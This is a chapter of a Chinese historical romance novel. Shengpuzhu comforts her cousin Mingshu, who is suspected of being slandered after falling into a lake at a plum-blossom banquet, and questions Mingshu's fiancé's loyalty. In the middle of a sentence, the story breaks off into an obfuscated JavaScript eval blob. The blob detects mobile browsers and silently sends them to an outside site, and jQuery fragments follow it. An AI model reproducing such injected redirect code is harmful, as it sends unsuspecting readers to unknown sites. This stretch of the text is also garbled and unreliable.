用过午膳,盛菩珠陪母亲说话。
起初,她还顾忌谢执砚在场,颇为收敛平日在家中小女儿的娇态。
后来许是时间久了,他自始至终安静喝着茶,枣红色衣袍半隐在冬日暖洋洋的光晕里,唯有那双眼睛,沉静深邃,偶尔抬起眼帘,又在四目相对的瞬间错开。
花厅外,狸奴抓雀的身影一闪而过。
盛菩瑶叽叽喳喳说着明日要学的课业,又说到回范阳给长辈祝寿的大嫂嫂,会给她带范阳特有的菱枣和丝绸做的绢花。
盛菩珠咬了一口花折鹅糕,里边包着甜丝丝的果子酱,唇齿生香,一路甜进心里。
她下意识眯起眼睛,索性倚进母亲的怀里,软声道:“阿娘,等明年盛夏,女儿带您和祖母去天长观下边的庄子避暑吧?”
“长公主娘娘喜欢热闹,祖母喜欢打叶子牌,祖父喜欢钓鱼,刚好那处庄子依山傍水,到时候把家里几个妹妹也叫上。”
“还能叫庄头去山上打了獐子,夜里我们在溪边烤肉吃。”
盛大夫人忍俊不禁,指尖轻轻点她的额头,有些苍白的唇弯了弯:“多大的人了,还是这般孩子气。”
话虽这样说,却亲自用银签子扎了一颗夏天酱的青梅,喂给她:“等到盛夏,我身子若能好些就与你同去。”
盛菩珠张唇含住青梅,舌尖抵了抵,清甜中透出一股令人精神一振的酸。
她喜欢这种有些极端的滋味,牙齿用力,已经去了核的青梅被碾碎,极致的酸在唇舌间泛滥开,盛菩珠觉得愉悦和满足,她眼尾余光悄悄瞥向谢执砚。
男人端坐如松,手中端着瓷盏,指腹无声压在盏沿,神色从容,瞧不出情绪。
……
莫约未时三刻,盛菩珠小心翼翼站起身,朝远处的嬷嬷招了招手:“母亲累了,劳烦嬷嬷拿了枕子和垫子来,暖阁朝南,阳光正好,就在这里休息。”
老嬷嬷笑着应下:“娘子贴心,我们会照顾好夫人。”
等一切安置好,盛菩珠带谢执砚离开小院,她朝垂花门右手边的廊庑指了指:“郎君可记得我大兄院子怎么走?”
“从廊庑穿过去,绕过水榭,就能看到大兄的院子。”
寒冬的风穿庭而过,卷起她鬓边一缕碎发,在他面前,她无论是语调还是神态,又恢复了谢家长媳该有的端庄模样。
谢执砚微微皱了下眉,他不善表露情绪,就算有与他认知相悖的怪异,到底是教养使然,他并不打算私自探究为何体贴大方的妻子,在他与家人面前,为何是两种截然不同的模样。
夫妻二人在小花园分开。
盛菩珠带着盛菩瑶穿过左手边的廊庑,她边走边说:“等会我与你二姐姐说话时,你想办法把婶娘给支开。”
盛菩瑶点头:“我知道,可不能吓着婶娘。”
“毕竟叔父还在任上,这样大的事情家中也就只有婶娘和祖母能做主了。”
盛菩珠越走越快,走到后面开始提着裙摆小跑起来。
襦裙的裙摆如同水纹漾开,金丝线绣的并蒂莲花在阳光下,泛着斑斓的光,纤瘦柔美的背影宛如初春柳枝抽条的嫩芽,她还拉着一个比她矮了很多的小娘子,就像翩飞的蝴蝶,灵动美好。
谢执砚站在花园的拐角处,直到那只蝴蝶飞走了,他才漫不经心收回视线。
他是园子里赏花赏雪的贵客,四下无人,没人知道他在原地究竟站了多久。
“二姐姐,三姐姐。”
“大姐姐来了。”盛菩瑶人还没进去,就很大声地朝院子里喊。
果然没多久,盛明雅提着裙摆先跑出来:“大姐姐。”
盛菩珠拉着盛明雅上下打量一圈:“怎么瘦了这么多?”
盛明雅想说什么,就听到身后自家阿娘虚弱的声音喊道:“菩珠,我今日不得空,又怕传染了病气,你与夫君一同归家,都没能亲自招待。”
“婶娘。”
“我听祖母说二妹妹病了,所以过来瞧瞧。”盛菩珠屈膝行礼,人还没站直就被盛二夫人一双冰冷的手紧紧握住:“好孩子,辛苦你还特地过来。”
“明淑刚醒,这会子连药都不愿喝了,她这是要做什么,是要挖我的心肝。”
“婶娘求你,去帮我劝劝她。”
事情明显比盛菩珠预判的更严重一些。
明明大哥哥成婚那次,婶娘精神很好,可今日一见,满脸病容不说,人瘦得那衣服穿在身上都空荡荡的。
盛菩珠垂下眼帘,握住盛二夫人的手:“我去看看明淑,方才菩瑶说想摘园子里的腊梅,我怕她摔了,不如婶娘帮我看着她。”
盛菩瑶立马拉住盛二夫人的袖摆:“婶娘陪菩瑶去吧,刚好给二姐姐也摘几枝新鲜的腊梅放在屋里头。”
盛二夫人一怔,转眼明白过来,她嘴唇动了动,拒绝的话终究没能说得出口。
“好,婶娘跟你去。”
“二妹妹。”盛菩珠绕过屏风,就看见盛明淑白着一张小脸靠在大迎枕上,婢女端着一碗已经放温了的汤药,正急得原地转悠。
“给我吧。”
盛菩珠伸手端过汤药,拿起汤匙轻轻搅了一下。
“二妹妹这是怎么了?我好不容易回来一趟,这是装病不愿见我?”盛菩珠就当没事人似的往榻旁的月牙凳一坐,用的还是那种凉飕飕的语气。
果不其然,盛明淑就算是再虚弱,她还是睁开眼睛,眼尾红红的,觉得自己委屈死了。
可又别扭道:“我何曾因为不愿见大姐姐,要用装病这种稚童的手段?”
盛菩珠把手里的药碗递上前:“那把药喝了,我就信你。”
“我不想喝,我病死算了。”盛明淑抿了一下干涩的唇。
盛菩珠纳罕道:“你看,你还说不是为了不见我装病,连药都不愿喝。”
盛明淑感觉没被气死,反而要被气活了,她气呼呼用手撑着要坐起来,奈何身上没有半点力气。
“二姐姐,我扶着你,你别激动。”盛明雅眼疾手把人扶起来。
盛菩珠适时把药碗塞到她手里。
“说说吧,究竟怎么回事?”
“好端端去长宁郡主家赏个梅,还把自己折腾成这副鬼样子,平时在家中我就算再与你不对付,都舍不得让你折一根头发。”
“到了外边被人这样欺负,你往日与我拌嘴的聪明劲儿去哪了?”
盛菩珠恨铁不成钢道。
盛明淑一边喝药,一边哭,金疙瘩一颗一颗掉进碗里。
等药喝完,人也哭够了。
盛明雅拧干帕子递给她:“姐姐你就说说,究竟是怎么回事。”
“娘亲和祖母问你,你不愿多说,现下大姐姐回来了,总能说了吧?”
盛明淑闭着眼睛,声音沙哑道。
“长宁郡主赏花宴那日,我身子本就有些抱恙已经让人拒了的,只是平兴侯世子说他写了一首好诗,正好梅园的绿萼梅也开了,叫我一定不要错过。”
“后来我茶水喝多了,去更衣回来的路上,遇到辅国公府家的小娘子吃醉酒差点落水,我既然遇到就拉了她一把,让婢女送她去换衣裳,我就原地在湖边赏枯荷。”
“结果不知是谁,撞了我一下,我就跌到半干的湖里去了。”
“既是宴客,那么大的园子,怎么可能没人?”盛菩珠冷笑。
盛明淑咬紧唇,声音低了下去:“因为那时天快黑了,有人带了烟火在梅园里放,估计大家都被烟火的热闹吸引过去。”
“我当时脚陷在湖边泥潭里,根本爬不上去,烟火的声音又大。”
说到这里,盛明淑捂住眼睛:“后来……”
“后来慌乱中,有一个陌生郎君把我拉起来。”
盛菩珠看着她不说话,直到盛明淑抖了抖,她才道:“就因为这点事,你病成这样?”
盛明淑摇头:“若是这点事,湿了裙子也就罢了。”
“可是不知道谁传出来的,说我在湖边和野男人私私相授,还解了衣裙。”
“大姐姐,说这话的人,不是要逼我去死吗?”
盛菩珠也愣了一下:“这话从哪里传出来的?”
盛明淑摇头,捂着脸双肩颤抖:“我不知道,明明那日长宁郡主亲自把我送回家中时还好好的,可是昨日兴平侯夫人来时与祖母说,就变成了赏花那天好多人都瞧见我衣衫不整的模样了。”
“大姐姐你是知道我性子的,素来清高,身子又弱,怎么会是那样不检点的女郎,做那样不知羞耻的事?”
盛菩珠觉得事情恐怕没有这么简单,她声音微沉:“那日救你的郎君,你可知是谁?”
盛明淑摇头:“落水归家那日,母亲和祖母就派人去问了,长宁郡主也帮着查,结果根本就没有我说的这个郎君。”
难怪婶娘憔悴成这般模样,找不到救人的人,那不就是相当于坐实了外边的风言风语,变相承认有那么一个见不得光的野男人。
盛菩珠沉默着。
良久,她出声问:“那与长兴侯世子的亲事,你自己怎么看?”
盛明淑抓着帕子的手一紧,低下头:“他今日让人给我送信,他说相信我与他之间多年的情意,我并不是那样不好的女郎。”
“就算……就算日后名声有碍,他也愿娶我为妻。”
“他说他不会同意退婚,让我再等等,一定会想办法说服她母亲。”
盛菩珠慢慢站起来,踱步在屋子里转了一圈,她习惯性从袖中掏她的白玉算盘,结果拿了个空,这才想起来,上回差点砸坏谢执砚,她就给收起来了。
“你还是想嫁给他?”盛菩珠问。
盛明淑犹豫一下,认真点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740116|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头道:“我与他自幼相识,及笄后定下亲事。”
“遇着这样的难堪的事,他既然还愿信我,我自然不能辜负他的一番心意。”
盛菩珠转过身:“就算长兴侯夫人是个不好相处的人,你嫁进去必受委屈?”
“大姐姐。”
“我嫁给他,日后是同他过日子,长兴侯夫人不好相处,我尽量避开就是,而是长兴侯府就他一个嫡子,我又不用与人去争,总归不会太难。”
盛菩珠看着盛明淑坦然的目光,她忽然问:“既然长兴侯世子信你,那为何她母亲上门折辱你的时候,他不能把人拦下?”
“为何他话里话外的意思,就像认定了你已经做了不好的事一样?”
“若他是个有担当的郎君,发生这样的事,难道不应该第一时间想办法去查原因吗,而不是写一封信,加几句轻飘飘的诗句,等着你毁了名声再把你迎娶进他们家,然后让你在他家中一辈子抬不起头,永远低人一等。”
“难道这就是长兴侯世子所谓的情比金坚?”
她看盛明淑默不作声,低着脑袋一副又要爆哭的架势。
干脆搬出身为长姐的气势:“盛明淑你天天只看诗词歌赋,是把你脑子也看坏了吗!”
“这世间哪有那么巧合的事!”
“偏生就你发发善心救人还反被落水,身边的婢女也被支走。”
“你既然已明确告知身体抱恙,不去长宁郡主的赏花宴,为何长兴侯世子非得邀你去赏狗屁的绿萼梅?”
“他不是自诩善解人意又贴心的郎君吗?贴心起来连你身体都不顾了?”
“身为八尺男儿,整天就知道写几个文绉绉的诗词,真把他自己当个玩意,当初你要与他定亲,我就没少说你,让你好歹拿他和家中兄长做个比较,你偏不听。”
盛菩珠越想越气,接着又不甘心道:“满长安吟诗作画学问还好的郎君多了去了,你挑谁不好,非得挑个丑的。”
盛明淑根本忍不了这个“丑”字,她嗷的一声哭出来:“他那里丑了,只是长得算不算俊俏而已。”
“满长安城的女郎,也不是人人都是大姐姐,不管学问不管家世,只管郎君相貌一定要一等一的出挑。”
“我不是姐姐那般肤浅,只看外貌的女郎。”
盛明珠也不生气,反而骄傲扬了扬下巴:“没办法,我就是这样肤浅的女郎,好歹相貌是明明白白摆在台面上能挑的。”
“再说了,家中有祖母和祖父把关,你觉得没有家世和学问的郎君,能入盛家那本挑夫婿的册子么!”
“哦,差点忘了。”盛菩珠凉凉一笑,“长兴侯府的郎君就没能入我们盛家挑夫婿的册子,长兴侯世子是二妹妹在诗会上自己挑的。”
盛明淑不是傻的,既然她这位长姐已经把话说到这个份上,恐怕她落水这件事,八成是被有心之人算计了。
想到这里,她捂着快要喘不上气来的心口,声音发涩:“那大姐姐觉得,是我错了?”
“你能有什么错?”
“救人不是你的错,跌倒也不是错,有错的应该是那些用下作手段算计之人。”
盛菩珠俯下身,拉起盛明淑冰冷的手,温声道:“这件事交给我去办。”
“我与端阳长公主有几分交情,长宁郡主是宁亲王嫡女,宁亲王刚好和端阳长公主是同母所生的兄妹。”
“能查得出来吗?”盛明淑手掌握成了拳头。
盛菩珠笑了一下,明显已经有了主意:“我办事,你放一百个心。”
两人离得近,以盛明淑的角度,刚好能看到她光洁无瑕的脖颈,因为天冷,领口扣着一圈狐裘围脖,雪白一截露在外边,似新雪堆砌,又似白瓷生光。
盛明淑看着眼前夺目的美色,许是哭得久了脑子一抽,她想也没想就问:“姐夫回长安后,姐姐不会还没有和姐夫圆房吧?”
“姐姐不是说,单看脸也能夫妻恩爱吗?”
盛菩珠表情明显凝固一瞬,很快就反应过来她话中的含义:“怎么,你单看脸就知道我夫妻不恩爱了?”
“两位姐姐,方才不还是好好说话吗?”
“怎么就吵起来了?”
盛明淑虚弱归虚弱,可声音一点都不低:“你先别说话,我问大姐姐呢。”
盛菩珠冷哼,理直气壮:“自然是夫妻恩爱。”
“你骗人!”
“大嫂嫂和哥哥圆房的次日,我去给嫂嫂行礼的时候瞧得可清楚了,嫂嫂衣襟下边都是圆房后梅花一样的红痕。”
“为此我还私下还悄悄问了祖母,祖母说那是夫妻恩爱的证明,叫我不要胡乱往外说。”
“大姐姐的脖子,别说的红痕了,连个轻微的印子都没有。”
“你看,我就说嘛!”
“单看郎君的脸是不行的。”